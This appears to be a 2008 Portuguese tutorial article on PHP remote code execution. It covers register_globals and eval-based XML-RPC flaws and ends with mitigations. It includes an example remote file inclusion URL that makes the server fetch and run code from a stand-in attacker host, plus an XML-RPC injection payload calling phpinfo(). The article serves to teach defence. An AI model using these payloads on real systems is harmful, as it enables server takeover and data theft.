As principais 5 vulnerabilidades Web
Este artigo analisa cinco dos mais comuns ataques a aplicações Web, principalmente para aquelas programadas em PHP, e depois apresenta um caso de um web site que foi encontrado com Google e atacado facilmente.Por Manu Gutierrez
Publicado em: 25/3/08
"Nenhuma linguagem de programação pode prevenir código inseguro, embora tenham as características necessárias para que os desenvolvedores o façam seguro."
-Chris Shiflett
Cada um dos ataques que analisaremos é parte de um extenso estudo, e aconselho aos leitores que sigam as referências neste artigo citadas em cada seção para uma leitura adicional neste artigo.
É importante tanto para desenvolvedores como para administradores Web que tenha um cuidadoso conhecimento destes ataques.
Deve-se também observar que seu site pode ser afetado por muitos ataques que não estão completados neste artigo.
Apesar de que os exemplos aqui citados sejam código
PHP isto é devido a seu extenso uso na Rede, por isso deveríamos aplicá-los às demais linguagens de programação.
As cinco vulnerabilidades que vamos analisar são as seguintes:
- Execução remota de código (Tema deste artigo)
- SQL (Não publicado ainda)
- Vulnerabilidades no formato de cadeias (Não publicado ainda)
- Site Scripting (XSS) (Não publicado ainda)
- Problemas usuários (Não publicado ainda)
Este artigo proporciona alguns exemplos verdadeiros de produtos populares que tiveram estas mesmas vulnerabilidades no passado, também propomos algumas soluções que se oferecem com cada exemplo para ajudar a prevenir estas vulnerabilidades.
A meta é proporcionar uma descrição destes problemas dentro de pequenos artigos.
2. Vulnerabilidades
2.1 Execução remota do código
Como o nome sugere, esta vulnerabilidade permite que um usuário malévolo execute código arbitrário a nível servidor e recupere qualquer informação desejada que este contém.
Ocasionalmente, é difícil descobrir esta vulnerabilidade durante o período de teste da aplicação web, estes problemas se descobrem muitas vezes quando se faz uma revisão do código fontes que se do código de fonte.
Entretanto, quando testamos nossa aplicação Web devemos ter em conta e lembrar desta vulnerabilidade.
Grau: Altamente crítico
Produtos previamente vulneráveis:
phpbb, tabuleiro de Invision, Cpanel, carro de Paypal, Drupal, e muitos outros...
Aqui analisaremos duas vulnerabilidades críticas deste tipo:
Register_globals em PHP:
Register_globals é um ajuste de PHP que controla a disponibilidade de variáveis "globais" em um script PHP (tal como dados fixados da forma de um usuário, dados URL-codificados, ou dados das cookies).
Em versões anteriores de PHP, as register_globals foram ativadas "ON" por padrão, o que tornou a vida dos desenvolvedores mais fácil - porém isto nos conduzia a código menos seguro.
Quando as register_globals estão ativadas em php.ini, pode permitir que um usuário inicie várias variáveis não iniciadas anteriormente de maneira remota.
Muitas vezes isto é utilizado para que um usuário malévolo possa incluir arquivos não desejados e lhe permite executar código arbitrário desde uma localização remota.
Por exemplo:
require ($page. ?.php?);
Aqui se o parâmetro $page não se inicia e se as register_globals estão ativados, o servidor será vulnerável à execução remota de código incluindo qualquer arquivo arbitrário no parâmetro $page.
Este seria um exemplo:
"www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt"
Desta maneira,o arquivo "http://www.attacker.com/attack.txt" é incluído e executado no servidor. É um ataque muito simples, porém eficaz.
XMLRPC em PHP:
Primeiro, esclarecer que
XML-RPC é um protocolo de chamada a procedimento remoto que usa XML para codificar as chamadas e HTTP como mecanismo de transporte. É de uso geral em empresas e ambientes grandes.
XML-RPC utiliza o HTTP para seu protocolo de transporte e XML para a codificação dos dados.
Várias postas em prática independentes de
XML-RPC existem para os scripts de PHP.
Um defeito comum é a implementação em um script de XML-RPC
PHP usando a função eval dentro do servidor de XML-RPC.
Dá lugar a uma vulnerabilidade que poderia permitir que um usuário malévolo remoto execute código no sistema vulnerável.
Um usuário malévolo com a capacidade de subir um arquivo feito a mão de XML poderia inserir o código PHP que então seria executado pelo site Web que está utilizando o código vulnerável de
XML-RPC.
Deixo aqui um arquivo malévolo de exemplo em XML:
<?xml versao="1.0"?><br />
<methodCall><br />
<methodName>test.method</methodName></p>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value><br />
</param>
</params>
</methodCall>
Este arquivo de XML, quando está situado no servidor vulnerável, fará a chamada da função phpinfo () para ser executada no servidor vulnerável, este é o caso de um exemplo simples que revelará vários detalhes sobre a instalação de PHP.
Debaixo segue uma lista do software que possuíram previamente este estilo de bug:
Drupal, Wordpress, Xoops, PostNuke, phpMyFaq, e muitos outros
Soluções:
Versões mais recentes de PHP têm register_globals desativadas por padrão, não obstante alguns usuários ativam porque necessitam. Este registro se pode ativar ou desativar no arquivo php.ini ou no .htaccess. A variável deve ser iniciada corretamente se este registro esta ativado. Os administradores são os responsáveis do bom uso das variáveis do bom uso destas variáveis.
Se não for estritamente necessário o aconselhável é que esta opção esteja desativada e no caso necessário que os dados sejam filtrados de maneira consciente para evitar esta perigosa vulnerabilidade.